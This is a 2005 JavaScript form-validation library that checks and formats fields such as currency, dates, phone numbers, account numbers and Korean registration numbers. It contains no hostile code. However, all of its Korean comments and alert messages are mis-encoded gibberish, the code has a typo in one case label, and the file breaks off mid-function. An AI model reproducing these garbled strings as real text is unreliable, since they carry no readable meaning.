/**********************************************************************/
/* moving.js
/* Desc - global JavaScript
/* Author - theingka
/* Date - 2005.4
/* version - 1.0
/**********************************************************************/

/**
 * ÇØ´ç ºê¶ó¿ìÀú Á¾·ù ¸®ÅÏ 
 */
function getBrowser() {
	if(document.layers){ // NN
	    return  2;
	} else if(document.all){ // IE
	    return  1;
	} else { // Standard
	    return  3;
	}
}

/**
 * ¸®ÅÏ°ª ¾øÀ½ 
 */ 
function mf_default() {}


function getEnterKey() {
	return false;	
}

/**
 * debug ¸ðµå 
 */
var DEBUG = false;

function HandleError(message, url, line) {
	var str = "½ºÅ©¸³Æ® ¿¡·¯°¡ ¹ß»ýÇß½À´Ï´Ù." + "\n\n"
	+ "Error: " + line + "\n" + message;
	alert(str);
	return;
}

if ( DEBUG ) window.onerror = HandleError


/**********************************************************************/
/* form check method 
/* from : °ÅÄ£¸¶·ç and wooribank script 
/* edit : theingka 
/**********************************************************************/

// ¿¡·¯¸Þ½ÃÁö Æ÷¸ä Á¤ÀÇ
var NO_BLANK 		= "{name+Àº´Â} ÇÊ¼öÇ×¸ñÀÔ´Ï´Ù";
var NOT_VALID 		= "{name+ÀÌ°¡} ¿Ã¹Ù¸£Áö ¾Ê½À´Ï´Ù";
var NOT_SELECT 		= "{name+ÀÌ°¡} À» ¼±ÅÃÇØ¾ß ÇÕ´Ï´Ù.";
var IS_KEY 			= false; 		// Æ¯¼öÅ° ±â´É Á¦ÇÑ(Ctrl + R, Ctrl + N, F5)
var IS_MOUSE 		= false;		// ¸¶¿ì½º ÀÌº¥Æ® Á¦ÇÑ 
var IS_STATUS		= true;			// window.status = ""
var IS_FOCUS 		= false;			// Ã³À½ Æ÷Ä¿½º ¿©ºÎ 
var IS_IME 			= true;			// ÇÑ±Û ÀÚµ¿ ÀüÈ¯ ¿©ºÎ 
var IS_KEEP_VALUE 	= true;			// ¿À·ù°ª ¹ß°ß½Ã ±âÁ¸ ÀÔ·Â°ª À¯Áö ¿©ºÎ
var DEFAULT_MASK	= "USE";		// Æ¯Á¤ mask °ª use : Æ¯¼ö¹®ÀÚ °¡, N : ºÒ°¡ 
var OUT_MSG			= "";




/**
 * ctrl Å° ÀÌº¥Æ®Á¦¾î  IE only
 */
function processKey() { 
	if( ( event.ctrlKey == true && ( window.event.keyCode == 78 || window.event.keyCode == 82)) || ( window.event.keyCode >= 112 && window.event.keyCode <= 123)) { 
		event.keyCode = 0; 
		event.cancelBubble = true; 
		event.returnValue = false; 
	} 
} 				

/**
 * NS ¹× Å¸ ºê¶ó¿ìÀú 
 */
function processKeyNe(e) {
    if (e.keyCode == 116) {
        e.cancelBubble = true; 
        e.returnValue = false;
    }	
}

/**
 * body ¿¡ ¸¶¿ì½ºÁ¦¾î 
 */
function processMouse() { 
	return false;
} 				

/**
 * À©µµ¿ì »óÅÂ¹Ù Á¦¾î 
 */
function statusRemove() { 
	window.status='';
	return true;
} 

/**
 * IE 5.0 ÀÌ»ó ÀÎÇ²ÀÇ ÇÑ±Û,¿µ¹® ÀÚµ¿º¯È¯ 
 */
function setImeMode(obj){
	var texttype = toUpperCase(obj.getAttribute("texttype"));

	
	if (texttype == "H") {
		obj.style.imeMode = "active";
	}
	
	if ( texttype == null) {
		if (IS_IME) {
			obj.style.imeMode = "active";
			return;
		}
	} else {
		if (texttype.indexOf("H") == -1) {
			obj.style.imeMode = "disabled";
		}
		else{
			if (IS_IME) {
				obj.style.imeMode = "active";
			}
		}
	}
}

/**
 * A,N,H ¿µ¹®,¼ýÀÚ,ÇÑ±ÛÀÎÁö Ã¼Å© 
 */				
function isValidType(pValue, pType){
	if(isEmpty(pValue)){
		return true;
	}
	if(isEmpty(pType)){
		return true;
	}
	if(!isAlpha(pValue) && !isNum(pValue) && !isHangul(pValue)){
		return true;
	}
	// Å¸ÀÔ °ËÁõ
	var isCorrect = false;
	for(var idx_pType=0; idx_pType < pType.length; idx_pType++){
		switch(pType.charAt(idx_pType)) {
			case 'A' :
					isCorrect = isAlpha(pValue);
					break;
			case 'N' :
					isCorrect = isNum(pValue);
					break;
			case 'H' :
					isCorrect = isHangul(pValue);
					break;
		}

		//Á¤±Ô Å° °ËÁõ
		if(isCorrect){
			 break;
		}
	}
	if(isCorrect == false) {
		//var err_msg =  getDisplayType(pType);
		//alert("ÀÌ Ç×¸ñ¿¡´Â " + err_msg + " ¸¸ ÀÔ·ÂÇÒ ¼ö ÀÖ½À´Ï´Ù.");
		return false;
	}
	return true;
}

/**
 *  mask Å¸ÀÔ°ËÁõ Çã¿ë mask°¡ ¾Æ´Ò ½Ã ¿¡·¯ ¸®ÅÏ 
 */		
function isValidMask(pValue, pMask){
	if(isEmpty(pValue))	return true;
	if(isEmpty(pMask))	return true;
	if(isAlpha(pValue) || isNum(pValue) || isHangul(pValue))	return true;
	if(pMask == "USE") return true;
	
	//Æ¯¼ö¹®ÀÚ¸¦ ÀüºÎ »ç¿ëÇÏÁö ¸øÇÔ
	if ( pMask == "N") {
		//alert("ÀÌ Ç×¸ñ¿¡´Â °ø¹éÀÌ³ª Æ¯¼ö¹®ÀÚ¸¦ ÀÔ·ÂÇÒ ¼ö ¾ø½À´Ï´Ù.");
		return false;
	}
	if(pMask.indexOf(pValue) >= 0) 	return true;
	var errmsg = "";
	for(var idx=0;idx<pMask.length;idx++){
		errmsg = errmsg + "'" + pMask.charAt(idx) + "', ";
	}
	errmsg = errmsg.substring(0,errmsg.length-2);
	alert("ÀÌ Ç×¸ñ¿¡´Â '" + pValue + "' À»(¸¦) ÀÔ·ÂÇÒ ¼ö ¾ø½À´Ï´Ù.\nÀÔ·Â°¡´ÉÇÑ Æ¯¼ö¹®ÀÚ´Â " + errmsg + "¸¸ °¡´ÉÇÕ´Ï´Ù.");
	return false;

}

/**
 * onkeypress ÀÌº¥Æ® Á¦¾î 
 */
function mf_onkeypress(obj) {
	if (obj == null)	var obj = this;
	var texttype = toUpperCase(obj.getAttribute("texttype"));
	var format   = toUpperCase(obj.getAttribute("format"));
	var mask	 = toUpperCase(obj.getAttribute("mask"));
	var key      = String.fromCharCode (event.keyCode);
	var str      = obj.value;
	
	if ( texttype == "USERID" ||  texttype == "PASSWORD") return;
	// µ¥ÀÌÅÍ Å¸ÀÔ °ËÁõ
	switch (texttype) {
		case "CURRENCY" :
			if ( !(isValidMask(key,",") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		case "DOTCURRENCY" :
			if ( !(isValidMask(key,",.") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		case "DATE" :
			if ( !(isValidMask(key,"/") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		case "EMAIL" :
			if ( !(isValidMask(key,"@.") && isValidType(key,"AN")) ) event.returnValue=false;
			break;
		case "REGNO" :
			if ( !(isValidMask(key,"N") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		case "CUSTNO" :
			if ( !(isValidMask(key,"N") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		case "DDDPHONENUM" :
			if ( !(isValidMask(key,"N") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		case "ACCTNO" :
			if ( !(isValidMask(key,"N") && isValidType(key,"N")) ) event.returnValue=false;
			break;
		default :
			if ( obj.getAttribute("mask") == null || obj.getAttribute("mask") == "" ) obj.setAttribute("mask", DEFAULT_MASK);
			if ( !(isValidMask(key,mask) && isValidType(key,texttype)) ) event.returnValue=false;
	}	
	
}

/**
 * onkeyup ÀÌº¥Æ® Á¦¾î 
 */
function mf_onkeyup(obj) {
	if ( getBrowser() == 1 ) {
		if (event.keyCode == 37 || event.keyCode == 39 || event.keyCode == 9 || event.keyCode == 16) return;
	}
	if (obj == null)	var obj = this;
	var format   = toUpperCase(obj.getAttribute("format"));
	var str      = obj.value;
	if (obj.getAttribute("toupper") != null) obj.value = obj.value.toUpperCase();
	// Æ÷¸ËÀû¿ë
	switch(format){
		case "CURRENCY" : 		
			if(str == '0'){
				break;
			}
			str = str.replace(/^0*/,'').replace(/,/g,'');
			var strLen = str.length;
			var retStr = "";
			for(var i=0; i<strLen; i++){
				if ((i%3 == strLen%3) && (i != 0)) retStr += ",";
				retStr += str.charAt(i);
			}
			obj.value = retStr;
			break;
		case "DOTCURRENCY" : 	
			var afterNo = "";
			var preNo = "";
			if (str.indexOf('.') > -1){
				afterNo = str.substring(str.indexOf('.')+1);
				afterNo = "." + afterNo.replace(/\,/g,'').replace(/\./g,'');
				preNo = str.substring(0, str.indexOf('.'));
			}
			else{
				afterNo = "";
				preNo = str;
			}
			preNo = preNo.replace(/^0*/,'').replace(/,/g,'')
			if (preNo == "") preNo = "0";
			var preNoLen = preNo.length;
			var retStr = "";
			for(var i=0; i<preNoLen; i++){
				if ((i%3 == preNoLen%3) && (i != 0)) retStr += ",";
				retStr += preNo.charAt(i);
			}
			retStr = retStr+afterNo;
			obj.value = retStr;
			break;
		case "DATE" :
			var retStr = "";
			if ( str.indexOf('/') > -1 ) {
				retStr = str.substring(0,4) + "/" + str.substring(4,6) + "/" + str.substring(6,8);
				obj.value = retStr;
			} 
			break;
		case "TIME" :
			var retStr = "";
			if ( str.indexOf(':') > -1 ) {
				retStr = str.substring(0,2) + ":" + str.substring(2);
				obj.value = retStr;
			} 
			break;			
	}
	//ÀÚµ¿ Æ÷Ä¿½º ÀÌµ¿
	var maxlength = obj.getAttribute("maxLength");
	
	if ( getBrowser() == 1) {
		if ( maxlength != null || maxlength > 0 ) {

			if (obj.value.length >= maxlength){
				var isNext = false;
				var elem = document.getElementsByTagName('INPUT');
				
				for (var i=0;i<elem.length;i++) {
 					if (isNext) {
 						if (elem[i].type == null || elem[i].type == "undefined" || 
 							elem[i].type == "hidden" ) {
 								 continue;
 						}
 						try{
							elem[i].focus();
						}
						catch(e){}
						break;
					}
					if (elem[i] == obj) {
						isNext = true;
					}
				}
			}
		}
	}
	
}

/**
 * onkeydown ÀÌº¥Æ® Á¦¾î 
 */

function mf_onkeydown(obj) {

    if (obj == null)	var obj = this;
	if ( getBrowser() == 1) {
	    if ( window.event.keyCode == 13) {
            var isNext = false;
            var elem = document.getElementsByTagName('INPUT');
            for (var i=0;i<elem.length;i++) {
            	if ( (elem[i].type == "text" || elem[i].type == "password") ) {
	                if (isNext) {
	                    elem[i].focus();
	                    return false;
	                    break;
	                }
	                if (elem[i] == obj) {
	                    isNext = true;
	                }
	            }
			
	        }
	    }
	}
}

/** 
 * toupper, tolower
 * ÇØ´ç  mask°¡ ¾Æ´Ò½Ã onblur¿¡¼­ Ã¼Å©¸¦ ÇÏ¸é °ÅÀÇ ¿Ïº® IE only
 */
function mf_onblur(obj) {
	if ( obj == null)	var obj = this;
	
	if ( obj.getAttribute("toupper") != null ) obj.value = toUpperCase(obj.value);
	if ( obj.getAttribute("tolower") != null ) obj.value = toLowerCase(obj.value);
	if ( !mf_validate(obj)) return false; 	
	if (!obj.getAttribute("readonly")) mf_format(obj);

	return true;
}
				
/**
 * onfocus ÀÌº¥Æ® Á¦¾î IE Only
 */			
function mf_onfocus(obj) {
	if ( obj == null)	var obj = this;
	if ( !obj.getAttribute("readonly") ) {
		mf_removeformat(obj);
	}
}	

/**
 * onpaste ÀÌº¥Æ® Á¦¾î 
 */
function mf_onpaste(obj) {
	if (obj == null)	var obj = this;
	var clipdata = window.clipboardData.getData("Text");
	var datatype = toUpperCase(obj.getAttribute("texttype"));
	
	if (datatype == "N" || datatype == "ACCTNO") clipdata = clipdata.replace(/-/gi,"");
	obj.value = clipdata;
	event.returnValue = false;
}

		
/**
 * Æ÷¸Ë ÃÊ±âÈ­
 */
function mf_removeformat(obj) {

	var format = toUpperCase(obj.getAttribute("format"));
	var str = obj.value;
	if(format != null){
		switch(format){
			case "DATE":
				obj.value = str.replace(/-/g,"");
				obj.value = str.replace(/\//g,"");
				break;
			case "TIME" :
				obj.value = str.replace(/:/g,"");
				break;
				
			case "ACC\TNO":
			case "CARDNO":
			case "CUSTNO":
			case "REGNO" : 			//³¯Â¥ Çü½Ä
				obj.value = str.replace(/-/g,"");
				break;
			case "CURRENCY" : 		// ±Ý¾×
				obj.value = str.replace(/\,/g,"");
				break;
			case "DOTCURRENCY" : 	// ±Ý¾×
				obj.value = str.replace(/\,/g,"");
				break;
		}
	}
}


/**
 * µ¥ÀÌÅ¸ À¯È¿¼º °Ë»ç 
 * A,N,H ¸¶½ºÅ© °ËÁõ, ³ª¸ÓÁö Å¸ÀÔ Ãß°¡¿¹Á¤ 
 */
function mf_validate(obj) {

	var texttype		= toUpperCase(obj.getAttribute("texttype"));
	var mask 			= toUpperCase(obj.getAttribute("mask"));
	var format			= toUpperCase(obj.getAttribute("format"));

	var str = obj.value;
	if( (!isEmpty(texttype)) || (!isEmpty(mask)) ) {

		switch (texttype) {
			case "DATE":
				break;
			case "ACCTNO":
				break;
			case "CARDNO":
				break;
			case "CUSTNO":
				break;
			case "REGNO" :
				break;
			case "EMAIL" : 
				break;
			case "CURRENCY" : 
				break;
			case "DOTCURRENCY" :
				break;	
			case "DOMAIN":
				break;
			default :
				for(var i=0; i < str.length; i++) {
					if ( !(isValidMask(str.charAt(i),mask) && isValidType(str.charAt(i),texttype)) ){
						obj.focus();
						if (!IS_KEEP_VALUE) obj.value="";
						return false;
					}
				} 
		}
	}
	return true;
}

/**
 * ÃÊ±â Ãâ·Â Æ÷¸Ë Á¤¸® 
 */
function mf_format(obj) {
	var format = toUpperCase(obj.getAttribute("format"));
	var str = obj.value;
	if (str == null || str == "") {
		return;
	}
	if(format != null){
		switch(format){
			case "CURRENCY" :
				var retStr = "";
				if(str == '0'){
					break;
				}
				str = str.replace(/^0*|\,/g,'');
				var strLen = str.length;
				for(var i=0; i<strLen; i++){
					if ((i%3 == strLen%3) && (i != 0)) {
						retStr += ",";
					}
					retStr += str.charAt(i);
				}
				obj.value = retStr;
				break;
			case "DOTCURRENCY" :
				break;
			case "DATE" : 
				var retStr = "";
				if ( obj.value.length >= 8 ) {
					retStr = str.substring(0,4) + "/" + str.substring(4,6) + "/" + str.substring(6,8);
					obj.value = retStr;
				}
				break;
			case "TIME" : 
				var retStr = "";
				if ( obj.value.length >= 4 ) {
					retStr = str.substring(0,2) + ":" + str.substring(2);
					obj.value = retStr;
				}
				break;				
			case "REGNO" : 
				var retStr = "";
				retStr = str.substring(0,6) + "-" + str.substring(6,13);
				obj.value = retStr;
				break;
			case "CUSTNO" : 
				var retStr = "";
				retStr = str.substring(0,3) + "-" + str.substring(3,8) + "-" + str.substring(8);
				obj.value = retStr;
				break;
			case "CUST_REGNO" : 
				var retStr = "";
				retStr = str.substring(0,3) + "-" + str.substring(3,5) + "-" + str.substring(5);
				obj.value = retStr;
				break;
			case "ACCTNO" :
				var retStr = "";
				retStr =  str.substring(0,3) + "-" + str.substring(3,8) + "-" + str.substring(8);
				obj.value = retStr;
				break;
			case "CARDNO" :
				var retStr = "";
				retStr =  str.substring(0,4) + "-" + str.substring(4,8) + "-" + str.substring(8,12) + "-" + str.substring(12,16);
				obj.value = retStr;
				break;
		}
	}
}


function mf_defaultForm(obj) {
	var format 		= toUpperCase(obj.getAttribute("format"));

	var format   = toUpperCase(obj.getAttribute("format"));
	switch (format) {
		case "CURRENCY" :
			obj.style.textAlign="right";
			break;
		case "DATE" :
			break;
		case "EMAIL" :
			break;
		case "REGNO" :
			break;
		case "CUSTNO" :
			break;
		case "DDDPHONENUM" :
			break;
		case "ACCTNO" :
			break;
	}
						
}


/**
 * required Ç×¸ñ¿¡ ´ëÇÑ null, "" Ã¼Å© 
 */				
function mf_nullchk(el) {

	el.value = el.value.trim();

    var fs = el.getAttribute("FS");
    var minbyte = null;
    var maxbyte = null;

	if (el.getAttribute("REQUIRED") != null) {
        if (el.value == null || el.value == "") {
            return doError(el,NO_BLANK);
        }
    }
    
    if(fs != null) {
        minbyte = fs.split("_")[0];
        maxbyte = fs.split("_")[1];
    }

    if (minbyte != null) {
        if (el.value.bytes() < parseInt(minbyte)) {
            return doError(el,"{name+Àº´Â} ÃÖ¼Ò "+minbyte+"±æÀÌ ÀÌ»ó ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù.");
        }
    }

    if (maxbyte != null && el.value != "") {
        var len = 0;
        if (el.value.bytes() > parseInt(maxbyte)) {
            return doError(el,"{name}ÀÇ ±æÀÌ´Â ÃÖ´ë "+maxbyte+"±æÀÌ ÀÔ´Ï´Ù.");
        }
    }
	return true;
}



var isSubmit = false;

/**
 * sumbit Çß´ÂÁö ¿©ºÎ 
 */
function set_submit() {
	show_waiting();
	isSubmit = true;
}

/**
 * sumbit ÇÃ¸®±× µðÆúÆ®·Î º¯°æ 
 */
function reset_submit() {
	//alert ("ÇöÀçÀÚ·á¸¦ Àü¼ÛÁßÀÔ´Ï´Ù. ¿Ï·áÈ­¸éÀÌ  ³ª¿Ã ¶§±îÁö ±â´Ù·Á ÁÖ¼¼¿ä");
	isSubmit = false;
}

/**
 * submit ÇÔ¼ö 
 */
function mf_submit(mForm) {
	
	if ( typeof mForm == "undefined" ) 	{
		alert("½ºÅ©¸³Æ® ¿À·ù Á¤ÀÇµÇÁö ¾ÊÀº Form ÀÔ´Ï´Ù.");
		return false;
	}
	
	for ( var i = 0; i < mForm.elements.length; i++ ) {
		var el = mForm.elements[i];

		var match 	= el.getAttribute("MATCH");
		var glue 	= el.getAttribute('GLUE');
		var option 	= el.getAttribute("OPTION");	// °æ°í ¸Þ½ÃÁö Ãâ·Â option ÀÇ °ª

		if ( typeof el.value == "undefined" )
		   continue;
		   
		   				
		mf_removeformat(el);			
		if ( !mf_nullchk(el) ) {
			return false;
		}	


		try {
			// µÎ°³ÀÇ ÀÎÇ²À» ÀÔ·Â ¹ÞÀ»½Ã °ªÀÌ °°ÀºÁö À¯¹«¸¦ ¸®ÅÏ ~
			if (match && (el.value != mForm.elements[match].value)) return doError(el,"{name+ÀÌ°¡} ÀÏÄ¡ÇÏÁö ¾Ê½À´Ï´Ù");
		} catch ( e ) {}
		
		// span 
	    if (option != null && el.value != "") {
	    	// span Ã¼Å© 
	        if (el.getAttribute('SPAN') != null) {
	            var _value = new Array();
	            for (span=0; span<el.getAttribute('SPAN');span++ ) {
	                _value[span] = mForm.elements[i+span].value;
	            }
	            var value = _value.join(glue == null ? '' : glue);
	            if (!funcs[option](el,value)) return false;
	        }
	        
	        // span ¾Æ´Ñ ³Ñµé 
	        else if ( el.getAttribute('NOSPAN') != null ) {
	            var value = el.value;
	        	if ( !funcs[option](el,value) ) return false;	
	        }
	        
	        // ±âº»»çÇ× Ã¼Å© ÈÄ Àç°Ë»ç ~
	        else {
            	if ( !funcs[option](el) ) return false;
	        }
		} 	
				
	}
	return true;
}

/**
 * submit ÇÒ¶§ ÀÚ·á Àü¼ÛÁß ¸Þ½ÃÁö ¶ç¿ì±â !!
 */
function show_waiting() {
	document.getElementById("send").style.display = "none";
	document.getElementById("wait").style.display = "block";
}

/**
 * ¾È º¸ÀÌ°Ô ÇÏ±â ^^
 */
function hide_waiting() {
	waiting.style.display='none';
}

/**
 * ¿¡·¯¸Þ½ÃÁö ÇÕÃ¼ 
 */
function josa(str,tail) {
    return (str.hasFinalConsonant()) ? tail.substring(0,1) : tail.substring(1,2);
}

/**
 * null, option Ç×¸ñ¿¡ µû¸¥ ¿¡·¯¸Þ½ÃÁö ¸®ÅÏ 
 */
function doError(el,type,action) {
    var pattern = /{([a-zA-Z0-9_]+)\+?([°¡-Èþ]{2})?}/;
    var name = (hname = el.getAttribute("HNAME")) ? hname : el.getAttribute("NAME");
    pattern.exec(type);
    var tail = (RegExp.$2) ? josa(eval(RegExp.$1),RegExp.$2) : "";
    alert(type.replace(pattern,eval(RegExp.$1) + tail));
    if (action == "sel") {
        el.select();
    } else if (action == "del")    {
        el.value = "";
    }
    el.focus();
    return false;
}    

/**
 * Æ¯¼ö ÆÐÅÏ °Ë»ç ÇÔ¼ö ¸ÅÇÎ 
 * Id, Num, Eng, Han.
 */
var funcs = new Array();

funcs['Id']     	= onlyId;             			//    /^[a-zA-Z]{1}[a-zA-Z0-9_]+$/_
funcs['Num']     	= onlyNum;            			//    /^[0-9]+$/
funcs['Eng']     	= onlyEng;              		//    /^[a-zA-Z]+$/
funcs['EngNum'] 	= onlyEngNum;        			//    /^[a-zA-Z0-9]+$/
funcs['Han']     	= onlyHan;            			//    /^[°¡-ÆR]+$/
funcs['HanEng']    	= onlyHanEng;        			//    /^[°¡-ÆRa-zA-Z]+$/
funcs['HanEngNum']  = onlyHanEngNum;				//    /^[°¡-ÆRa-zA-Z0-9]+$/
funcs['HanNum']   	= onlyHanNum;        			//    /^[°¡-ÆR0-9]+$/
funcs['Han1']    	= onlyHan1;        				//    ¹Ýµå½Ã ÇÑ±Û Æ÷ÇÔ

funcs['email'] 		= isValidEmail;
funcs['lemail']		= isValidEmail1;
funcs['phone'] 		= isValidPhone;
funcs['phone1']		= isValidPhone1;
funcs['jumin'] 		= isValidJumin;
funcs['jumin1'] 	= isValidJumin1;
funcs['bizno'] 		= isValidBizNo;
funcs['domain'] 	= isValidDomain;
funcs['selectbox']	= hasSelectBox;


/**
 * ÆÐÅÏ °Ë»ç ÇÔ¼öµé
 * Id, Num, Eng, Han.
 */

function onlyId(el) {
    var pattern = /^[a-zA-Z]{1}[a-zA-Z0-9_]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} Ã¹±ÛÀÚ¸¦ ¿µ¹®À¸·Î ½ÃÀÛÇØ¾ßÇÏ°í,\n ±× ÀÌÈÄ¿¡´Â ¿µ¹®,¼ýÀÚ, _ ¹®ÀÚ¸¸ »ç¿ëÇÒ ¼ö ÀÖ½À´Ï´Ù");
}
function onlyNum(el) {
    var pattern = /^[0-9]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ¼ýÀÚ·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}

function onlyEng(el) {
    var pattern = /^[a-zA-Z]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ¿µ¹®ÀÚ·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}
function onlyEngNum(el) {
    var pattern = /^[a-zA-Z0-9]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ¿µ¹®ÀÚ,¼ýÀÚ·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}
function onlyHan(el) {
    var pattern = /^[°¡-ÆR]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ÇÑ±Û·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}
function onlyHanEng(el) {
    var pattern = /^[°¡-ÆRa-zA-Z]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ÇÑ±Û,¿µ¹®ÀÚ·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}
function onlyHanEngNum(el) {
    var pattern = /^[°¡-ÆRa-zA-Z0-9]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ÇÑ±Û,¿µ¹®ÀÚ,¼ýÀÚ·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}

function onlyHanNum(el) {
    var pattern = /^[°¡-ÆR0-9]+$/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ÇÑ±Û,¼ýÀÚ·Î¸¸ ÀÔ·ÂÇØ¾ß ÇÕ´Ï´Ù");
}

function onlyHan1(el) {
    var pattern = /[°¡-Èþ]/;
    return (pattern.test(el.value)) ? true : doError(el,"{name+Àº´Â} ¹Ýµå½Ã ÇÑ±ÛÀ» Æ÷ÇÔÇØ¾ß ÇÕ´Ï´Ù");
}


function isValidEmail(el,value) {
    var value = value ? value : el.value;
    var pattern = /^[_a-zA-Z0-9-\.]+@[\.a-zA-Z0-9-]+\.[a-zA-Z]+$/;
    return (pattern.test(value)) ? true : doError(el,NOT_VALID);
}


function isValidEmail1(el, value) {
	var value = value ? value : el.value;
	var pattern = /^((\w|[\-\.])+)@((\w|[\-\.])+)\.([A-Za-z]+)$/;
	if ( value.search(pattern) != -1 ) {
		return true;
	} else {
		doError(el,NOT_VALID);
	}
}


function isValidPhone(el,value) {
    var pattern = /^([0]{1}[0-9]{1,2})-?([1-9]{1}[0-9]{2,3})-?([0-9]{4})$/;
    var num = value ? value : el.value;
    if (pattern.exec(num)) {
        if(RegExp.$1 == "011" || RegExp.$1 == "016" || RegExp.$1 == "017" || RegExp.$1 == "018" || RegExp.$1 == "019") {
            if (!el.getAttribute('SPAN')) el.value = RegExp.$1 + "-" + RegExp.$2 + "-" + RegExp.$3;
        }
        return true;
    } else {
        return doError(el,NOT_VALID);
    }
}

function isValidPhone1(el,value) {
    var pattern = /^([0]{1}[0-9]{1,2})-?([1-9]{1}[0-9]{2,3})-?([0-9]{4})$/;
    var num = value ? value : el.value;
    if (pattern.exec(num)) {
        if(RegExp.$1 == "011" || RegExp.$1 == "016" || RegExp.$1 == "017" || RegExp.$1 == "018" || RegExp.$1 == "019") {
            if ( !el.getAttribute('NOSPAN')) el.value = RegExp.$1 + "" + RegExp.$2 + "" + RegExp.$3;
        } else if ( RegExp.$1 == '02' ) { 
        	if (!el.getAttribute('NOSPAN')) el.value = RegExp.$1 + "" + RegExp.$2 + "" + RegExp.$3;
        } else {
        	if (!el.getAttribute('NOSPAN')) el.value = RegExp.$1 + "" + RegExp.$2 + "" + RegExp.$3;
        }
        return true;
    } else {
        return doError(el,NOT_VALID);
    }
}


function isValidJumin(el,value) {
    var pattern = /^([0-9]{6})-?([0-9]{7})$/; 
    var num = value ? value : el.value;
    if (!pattern.test(num)) return doError(el,NOT_VALID); 
    num = RegExp.$1 + RegExp.$2;

    var sum = 0;
    var last = num.charCodeAt(12) - 0x30;
    var bases = "234567892345";
    for (var i=0; i<12; i++) {
        if (isNaN(num.substring(i,i+1))) return doError(el,NOT_VALID);
        sum += (num.charCodeAt(i) - 0x30) * (bases.charCodeAt(i) - 0x30);
    }
    var mod = sum % 11;
    return ((11 - mod) % 10 == last) ? true : doError(el,NOT_VALID);
}

function isValidJumin1(el,value) {
    var pattern = /^([0-9]{6})-?([0-9]{7})$/; 
    var num = value ? value : el.value;
    if (!pattern.test(num)) return doError(el,NOT_VALID); 
    if (!el.getAttribute('NOSPAN'))  num = RegExp.$1 + RegExp.$2;

    var sum = 0;
    var last = num.charCodeAt(12) - 0x30;
    var bases = "234567892345";
    for (var i=0; i<12; i++) {
        if (isNaN(num.substring(i,i+1))) return doError(el,NOT_VALID);
        sum += (num.charCodeAt(i) - 0x30) * (bases.charCodeAt(i) - 0x30);
    }
    var mod = sum % 11;
    return ((11 - mod) % 10 == last) ? true : doError(el,NOT_VALID);
}


function isValidBizNo(el, value) { 
    var pattern = /([0-9]{3})-?([0-9]{2})-?([0-9]{5})/; 
    var num = value ? value : el.value;
    if (!pattern.test(num)) return doError(el,NOT_VALID); 
    num = RegExp.$1 + RegExp.$2 + RegExp.$3;
    var cVal = 0; 
    for (var i=0; i<8; i++) { 
        var cKeyNum = parseInt(((_tmp = i % 3) == 0) ? 1 : ( _tmp  == 1 ) ? 3 : 7); 
        cVal += (parseFloat(num.substring(i,i+1)) * cKeyNum) % 10; 
    } 
    var li_temp = parseFloat(num.substring(i,i+1)) * 5 + '0'; 
    cVal += parseFloat(li_temp.substring(0,1)) + parseFloat(li_temp.substring(1,2)); 
    return (parseInt(num.substring(9,10)) == 10-(cVal % 10)%10) ? true : doError(el,NOT_VALID); 
}

function isValidDomain(el) {
    var pattern = /^.+(\.[a-zA-Z]{2,3})$/;
    return (pattern.test(el.value)) ? true : doError(el,NOT_VALID);
}

function hasSelectBox(el, value) {
	if ( el.value == "" ) {
		return doError(el,NOT_SELECT, "sel");
	}	
	return true;
}


/**
 * ·Îµù½Ã °¢Á¾ Ã¼Å©»çÇ× 
 */
function mf_initial() {
	var elem = document.getElementsByTagName('INPUT');
			
	for (var idx=0; idx < elem.length; idx++){
		var obj = elem[idx];
		try {
			if (obj == null || (typeof obj == "undefined")) continue;
			if (obj.type == null || obj.type == "undefined") continue;
		} catch(e) {
			continue;
		}		
		switch(obj.type) {
			case "radio" :
			case "checkbox" :
				break;
			case "button" :
			case "image" :
				break;	
			case "text" :
			case "password" :
				if ( obj.getAttribute("required") != null ) 	obj.style.backgroundColor = "#F0F0FF";
				if ( obj.getAttribute("right") != null) 		obj.style.textAlign="right";
				if ( obj.getAttribute("readonly") ) break;
				if ( obj.getAttribute("onkeyup") == null ) 		obj.onkeyup 	= mf_onkeyup;
				if ( obj.getAttribute("onkeydown") == null ) 	obj.onkeydown	= mf_onkeydown
				if ( obj.getAttribute("onblur") == null ) 		obj.onblur		= mf_onblur;
				if ( obj.getAttribute("onfocus") == null ) 		obj.onfocus 	= mf_onfocus;
				if ( obj.getAttribute("onpaste") == null ) 		obj.onpaste 	= mf_onpaste; 
				if ( obj.getAttribute("onkeypress") == null ) 	obj.onkeypress 	= mf_onkeypress;
				if ( obj.getAttribute("mask") == null || obj.getAttribute("readonly")) obj.setAttribute("mask",DEFAULT_MASK);
				
				// default ?
				if ( obj.getAttribute("format") != null ) mf_defaultForm(obj);

				setImeMode(obj);
				mf_format(obj);

				if ( !IS_FOCUS ) {
					try{
						IS_FOCUS = true;
						window.focus();
						obj.focus();
					} catch(e){}
				}

		}
	}
	
	// TEXTAREA µû·Î 
	var elemT = document.getElementsByTagName("TEXTAREA");
	for ( var i=0; i < elemT.length; i++ ) {
		var obj = elemT[i];
		try {
